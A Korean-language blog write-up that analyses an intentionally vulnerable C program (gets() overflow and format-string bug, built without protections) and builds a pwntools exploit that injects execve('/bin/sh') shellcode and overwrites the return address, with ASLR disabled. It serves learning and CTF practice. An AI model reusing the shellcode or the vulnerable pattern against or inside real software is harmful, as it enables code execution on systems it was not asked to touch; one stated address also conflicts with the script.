BOF 예제 분석 본문

Layer 7

BOF 예제 분석

disso1p1 2020. 8. 16. 03:05

 

[ 코드 ]

// 컴파일 옵션 : gcc -o test code.c -z execstack -fno-stack-protector -z norelro
#include <stdio.h>

void setup()
{
	setvbuf(stdin, 0, 2, 0);
	setvbuf(stdout, 0, 2, 0);
	setvbuf(stderr, 0, 2, 0);
}

int main(void)
{
	setup();
	
	char buf[0x100];

	printf("What's your name? : ");
	gets(buf); // Buffer Overflow 

	printf("Hello, ");
	printf(buf); // Format String Bug
	printf("!!!\n");

	printf("Last greeting : ");
	gets(buf); // Buffer Overflow

	return 0;
}

 

 

1. 코드 흐름 및 취약점 분석

setup 함수는 stdin, stdout, stderr 를 초기화 시켜준다. - ( 로컬에서 실행할 때는 없어도 문제가 발생하지 않지만, CTF 를 할 때는 입출력 처리가 제대로 안되는 문제가 발생할 수 있기 때문에 CTF 에서 많이 나온다고 한다. )

 

gets 함수는 입력할 문자열의 최대 bytes 수를 제한하지 않기 때문에 BOF 가 발생한다.

모든 보호기법이 적용되지 않았기 때문에 손쉽게 return address 를 원하는 값으로 변조할 수 있다.

 

printf 함수는 변수를 출력할 때 format string 을 필요로 한다. 그런데 위 코드에서는 변수 buf 를 출력할 때 format string 을 사용하지 않고 변수만 인자값으로 주었다. 그럼 무슨일이 일어나느냐. 변수 buf 를 gets 함수로 입력 받을 수 있기 때문에 buf 에 format string 을 입력하면 메모리 영역에 있는 값을 leak 할 수 있다. 즉, FSB 가 발생한다.

 

2. BOF 를 이용하여 Return Address 를 변조하여 쉘 획득하기 ( ASLR X )

[assemble 코드]

disassemble main

 

2-1. 오프셋 구하기

 

0x000000000040070b <+36> 부분을 보면 rax 에 rbp-0x100 주소값을 넣고, rax 의 값을 rdi ( 첫번째 인자 ) 에 넣는다.

첫 번째 인자는 buf 이므로 rbp-0x100 이 buf 의 시작 주소임을 알 수 있다.

 

&buf = rbp-0x100 ~ rbp-0x1

sfp = rbp+0x0 ~ rbp+0x7

ret add = rbp+0x8 ~ rbp+0xf

 

buf 에서 sfp 까지 dummy 값으로 0x108 만큼 넣고, return address 를 buf 의 시작 주소로 덮으면 되겠다.

 

 

 

2-2. buf 첫번째 주소 구하기 ( return address 로 덮을거임 )

 

buf 의 시작주소를 구해서 return address 를 덮는 방법은 진짜 거의 모든 문제에서는 ASLR 기법이 걸려있기 때문에 이용할 수 없는 방법이지만, ALSR 기법을 해제한 환경이므로 가능하다.

ASLR 기법이 해제 되었으므로 gdb 를 이용해 buf 의 시작 주소를 구해보자.

 

from pwn import *

p = process('./ex', aslr = False)

p.sendlineafter(': ', 'hihi')

pause()

p.interactive()

pwntools 를 이용해 ASLR 기법을 해제하고 pause 를 걸어 분석해보자.

 

ni

 

gets 함수를 빠져나올 때까지 ni 를 쳐보면, rax 에 buf 의 시작주소가 적혀있다.

 

gets 함수에서 성공적으로 읽어 들였으므로 buf ( buf 의 시작 주소 ) 를 리턴한다. -> rax 에 리턴 값이 들어간다.

 

 

rax 의 값이 0x7fffffffdbd0 이므로, buf 의 시작 주소는 0x7fffffffdbd0 임을 알 수 있다.

 

 

 

 

2-3. 익스플로잇 작성

 

gets 함수로 입력 받을 때, 

buf 에 쉘코드를 넣고, 나머지 sfp 까지 A 로 채운 후 0x7fffffffdba0 를 넣으면 되겠다.

 

쉘코드란 ? 

쉘을 실행시키는 코드를 어셈블리 코드로 바꾼 것을 바이트 코드로 나타낸 코드이다.

 

 

 두 번째 get 함수에서 BOF 를 발생시켰다.

 

 

[ exploit ]

from pwn import *

p = process('./ex', aslr = False)

p.sendlineafter(': ', 'hihi')

pay = ''
pay += '\x50\x48\x31\xd2\x48\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x54\x5f\xb0\x3b\x0f\x05'
pay += 'A'*(0x108-len(pay)) + p64(0x7fffffffdbd0)

p.sendlineafter(': ', pay)

p.interactive()

 

 

>,,<

Comments